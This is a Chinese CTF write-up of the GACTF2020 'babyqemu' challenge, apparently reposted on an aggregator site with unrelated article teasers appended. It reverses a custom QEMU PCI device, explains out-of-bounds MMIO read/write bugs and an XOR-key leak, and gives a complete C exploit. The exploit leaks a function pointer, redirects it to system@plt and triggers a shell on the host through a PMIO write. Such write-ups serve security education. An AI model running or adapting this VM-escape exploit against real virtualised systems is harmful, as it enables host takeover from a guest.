【qemu逃逸】GACTF2020-babyqemu

news2024/12/29 2:40:33

前言

虚拟机用户名:root

无密码

设备逆向

题目去掉的符号,经过逆向分析,实例结构体如下:

可以看到 arr_int_8 数组后面存在一个函数指针,不用想基本上就是劫持该函数指针了。

denc_mmio_read 函数

这里存在越界读,在上面实例结构体中,arr_int_8 数组的大小为 8,而这里的下标达到了 9,所以刚好可以越界读取 func 的地址。

denc_mmio_write 函数

同理,这里也存在越界写,并且刚好可以写到 func,但是这里存在一个问题,就是每次写之前都会将数据进行异或。

异或的数据 data 是在实例初始化时设置的,这里设置的算法很复杂,基本上不考虑去逆向。

但是这里我们是可以配合 mmio_read 函数去直接泄漏 data 中的数据的,只需要让 mmio_write 的 val 等于 0 即可,然后在用 mmio_read 读出来。

denc_pmio_read 函数

该函数是正常读取,没有问题。 

denc_pmio_write 函数

该函数写入是正常的,当 addr = 0x660 时,会调用函数指针,参数为 arr_int_8 首地址。

注意这里存在花指令:

就是这个位置,大家 patch 掉就行了 

漏洞利用

其实就很简单了

1、利用 mmio_read 越界读泄漏 func 地址从而计算出 system@plt 地址

2、利用 mmio_write/mmio_read 泄漏异或 data

3、利用 mmio_write 越界写将 func 函数指针指向 system@plt

4、将 cmd 写入 arr_int_8

5、然后 mmio_write(0x660, 0) 触发即可

exp 如下:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>

void * mmio_base;
uint64_t pmio_base = 0xc000;

void mmio_init()
{
        int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);
        if (fd < 0) puts("[X] open for mmio"), exit(EXIT_FAILURE);
        mmio_base = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
        if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);
        printf("[+] mmio_base: %#p\n", mmio_base);
        if (mlock(mmio_base, 0x1000) < 0) puts("[X] mlock for mmio"), exit(EXIT_FAILURE);
}

void pmio_init()
{
        if (iopl(3) < 0) puts("[X] iopl for pmio"), exit(EXIT_FAILURE);
}

uint32_t mmio_read(uint64_t offset)
{
        return *(uint32_t*)(mmio_base + (offset << 2));
}

void mmio_write(uint64_t offset, uint32_t val)
{
        *(uint32_t*)(mmio_base + (offset << 2)) = val;
}

uint32_t pmio_read(uint64_t offset)
{
        return inl(pmio_base + (offset << 2));
}

void pmio_write(uint64_t offset, uint64_t val)
{
        outl(val, pmio_base + offset);
}

int main(int argc, char** argv, char** envp)
{
        mmio_init();
        pmio_init();

        uint64_t func_addr = mmio_read(8);
        func_addr = func_addr | (1ULL * mmio_read(9) << 32);
        uint64_t system_plt = func_addr - 0x3A9EA8 + 0x2CCB60;
        printf("[+] func_addr: %#p\n", func_addr);
        printf("[+] system@plt addr: %#p\n", system_plt);

        uint32_t data[10];
        for (int i = 0; i < 10; i++)
        {
                mmio_write(i, 0);
                data[i] = mmio_read(i);
                printf(" [+] data[%d]: %#x\n", i, data[i]);
        }

        mmio_write(0, data[0]^0x6873);
        mmio_write(8, data[8]^(system_plt&0xffffffff));
        mmio_write(9, data[9]^((system_plt>>32)&0xffffffff));
        pmio_write(0x660, 0);

        puts("[+] End!");
        return 0;
}

效果如下: 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1176273.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

.net core 到底行不行!超高稳定性和性能的客服系统:性能实测

业余时间用 .net core 写了一个升讯威在线客服系统。并在博客园写了一个系列的文章&#xff0c;介绍了这个开发过程。 我把这款业余时间写的小系统丢在网上&#xff0c;陆续有人找我要私有化版本&#xff0c;我都给了&#xff0c;毕竟软件业的初衷就是免费和分享&#xff0c;后…

最新知识付费变现小程序源码/独立后台知识付费小程序源码/修复登录接口

最新知识付费变现小程序源码&#xff0c;独立后台知识付费小程序源码&#xff0c;最新版修复登录接口。 主要功能 会员系统&#xff0c;用户登录/注册购买记录 收藏记录 基本设置 后台控制导航颜色 字体颜色 标题等设置 流量主广告开关小程序广告显示隐藏 广告主审核过审核…

VS2022创建win32汇编项目

文章目录 一、下载安装win32环境1.1、下载网址&#xff1a;https://masm32.com/1.2、解压缩安装1.3、安装路径1.4、安装masm32 SDK1.5、安装成功1.6、导入lib1.7、配置默认&#xff0c;可以根据自己需求修改1.8、启动界面二、vs2022 安装过程略过。。。2.1、创建项目2.2、填写项…

高通Android 8.1 扫码枪无法扫sn包含2或者全部是2的问题

背景&#xff1a;由于近期工厂生产&#xff0c;测试突然反馈扫码枪扫sn总是丢失2&#xff0c;比如 AXB2SHS822009997/LSXG 结果显示是 AXBSHS800997/LSX 于是我叫测试找了之前可以版本然后抓日志进行对比发现&#xff0c;确实只有2这个数字无法扫&#xff0c;如果把2这一位改成…

California Science Museum

文章目录 1. University of Southern California(USC)2. NASA航天飞机3. 返回舱4. Others彩蛋1: Paris, capital of France彩蛋2: Switzerland(瑞士)1. University of Southern California(USC) 2. NASA航天飞机

运动耳机品牌排行榜,推荐几款优秀的运动耳机

​说起耳机&#xff0c;相信大家都比较熟悉&#xff0c;特别是对于喜欢运动的爱好人士来说&#xff0c;那更是随身携带着。随着运动耳机的增长&#xff0c;大家都不知道该如何选择了。对于运动耳机除了需要佩戴稳固舒适之外&#xff0c;还有就是音质表现、防水性能、通话质量等…

外汇天眼实勘功能升级,带你沉浸式“云”穿交易商现场!

最近&#xff0c;外汇天眼新出了一个功能&#xff0c;这个功能可了不得了&#xff0c;不管你在国外还是在国内&#xff0c;它都能带你走进交易商现场。不过在介绍该功能之前&#xff0c;天眼君先问大家几个问题&#xff1a;在进行外汇交易前&#xff0c;你对自己的交易平台了解…

项目启动∣得益乳业引进企企通采购供应链管理+智采商城平台,切实提升供应链效率

近日&#xff0c;山东得益乳业股份有限公司&#xff08;以下简称“得益乳业”&#xff09;与企企通成功召开采购供应链管理智采商城双项目启动会。双方高层领导及项目团队关键成员&#xff0c;一同出席本次启动会。 本次合作以企企通数字化采购解决方案为基础&#xff0c;结合得…

基于 golang 从零到一实现时间轮算法 (三)

引言 本文参考小徐先生的相关博客整理&#xff0c;项目地址为&#xff1a; https://github.com/xiaoxuxiansheng/timewheel/blob/main/redis_time_wheel.go。主要是完善流程以及记录个人学习笔记。 分布式版实现 本章我们讨论一下&#xff0c;如何基于 redis 实现分布式版本的…

Java零基础手把手保姆级教程_类和对象(超详细)

文章目录 Java零基础手把手保姆级教程_类和对象&#xff08;超详细&#xff09;1. 类和对象1.1 类和对象的理解1.2 类的定义1.3 对象的使用1.4 学生对象-练习1.5测测你掌握了没&#xff1f; 2. 对象内存图2.1 单个对象内存图2.2 多个对象内存图2.3 多个对象指向相同内存图 3. 成…

从首届中国测绘地理信息大会,解读2023年度国产GIS创新关键词

创新是什么&#xff1f;这是各行各业持续思考的问题。 第一届中国测绘地理信息大会已进入倒计时&#xff01;这是中国测绘学会、中国地理信息产业协会和中国卫星导航定位协会共同主办的全国性高端盛会。据悉&#xff0c;本次大会将有1个主论坛、38场分论坛&#xff0c;近2万平…

YOLOv8改进有效涨点系列->多位置替换可变形卷积(DCNv1、DCNv2、DCNv3)

本文介绍 这篇文章主要给大家讲解如何在多个位置替换可变形卷积&#xff0c;它有三个版本分别是DCNv1、DCNv2、DCNv3&#xff0c;在本篇博文中会分别进行介绍同时进行对比&#xff0c;通过本文你可以学会在YOLOv8中各个位置添加可变形卷积包括(DCNv1、DCNv2、DCNv3)&#xff0…

【每日OJ题—— 142. 环形链表 II (链表)】

每日OJ题—— 142. 环形链表 II &#xff08;链表&#xff09; 1.题目&#xff1a;142. 环形链表 II 2.方法讲解2.1.解法一&#xff1a;2.1.1.图文解析2.1.2.代码实现2.1.3.提交通过展示 2.2解法二:2.2.1图文解析2.2.2代码实现2.2.3.提交通过展示 1.题目&#xff1a;142. 环形链…

山西电力市场日前价格预测【2023-11-07】

日前价格预测 预测说明&#xff1a; 如上图所示&#xff0c;预测明日&#xff08;2023-11-07&#xff09;山西电力市场全天平均日前电价为318.54元/MWh。其中&#xff0c;最高日前电价为514.01元/MWh&#xff0c;预计出现在18: 00。最低日前电价为192.95元/MWh&#xff0c;预计…

ZKP16 Hardware Acceleration of ZKP

ZKP学习笔记 ZK-Learning MOOC课程笔记 Lecture 16: Hardware Acceleration of ZKP (Guest Lecturer: Kelly Olson) The What and Why of Hardware Acceleration Hardware acceleration is the use of dedicated hardware to accelerate an operation so that it runs faster…

Intel oneAPI笔记(3)--jupyter官方文档(SYCL Program Structure)学习笔记

前言 本文是对jupyterlab中oneAPI_Essentials/02_SYCL_Program_Structure文档的学习记录&#xff0c;包含对Device Selector、Data Parallel Kernel、Host Accessor、Buffer Destruction、的介绍&#xff0c;最后还有一个小关于向量&#xff08;Vector&#xff09;加法的实例 …

zookeeper本地部署和集群搭建

zookeeper&#xff08;动物园管理员&#xff09;是一个广泛应用于分布式服务提供协调服务Apache的开源框架 Zookeeper从设计模式角度来理解&#xff1a;是一个基于观察者模式设计的分布式服务管理框架&#xff0c;它 负责存储和管理大家都关心的数据 &#xff0c;然 后 接受观察…

STM32单片机在线升级,手机在线升级STM32单片机,固件远程下载方法,局域网在线程序下载

STM32单片机&#xff0c;是我们最常见的一种MCU。通常我们在使用STM32单片机都会遇到程序在线升级下载的问题。 STM32单片机的在线下载通常需要以下几种方式完成&#xff1a; 1、使用ST提供的串口下载工具&#xff0c;本地完成固件的升级下载。 2、自行完成系统BootLoader的编写…

leetcode每日一题复盘(11.6~11.12)

leetcode 37 解数独 回溯算法的最后一种问题:棋盘问题,前面的N皇后也是棋盘问题,只不过N皇后只需要一层放一个数据,数独需要多次放入数据且保证数据不冲突 方法是通过bool返回值进行多次递归,每次递归放入一个数据,将该层数据填满后换下一层

【嵌入式开发学习】__串口丢数据的几个常见原因

前言 串口是工程师最常用的串行外设之一&#xff0c;但在实际应用中&#xff0c;还是会经常遇到各种问题&#xff0c;比如丢失一字节数据。 今天&#xff0c;我们就结合STM32来讲讲UART相关内容&#xff0c;以及容易丢失一字节数据的问题。 一、UART几个标志位 这里重点说一…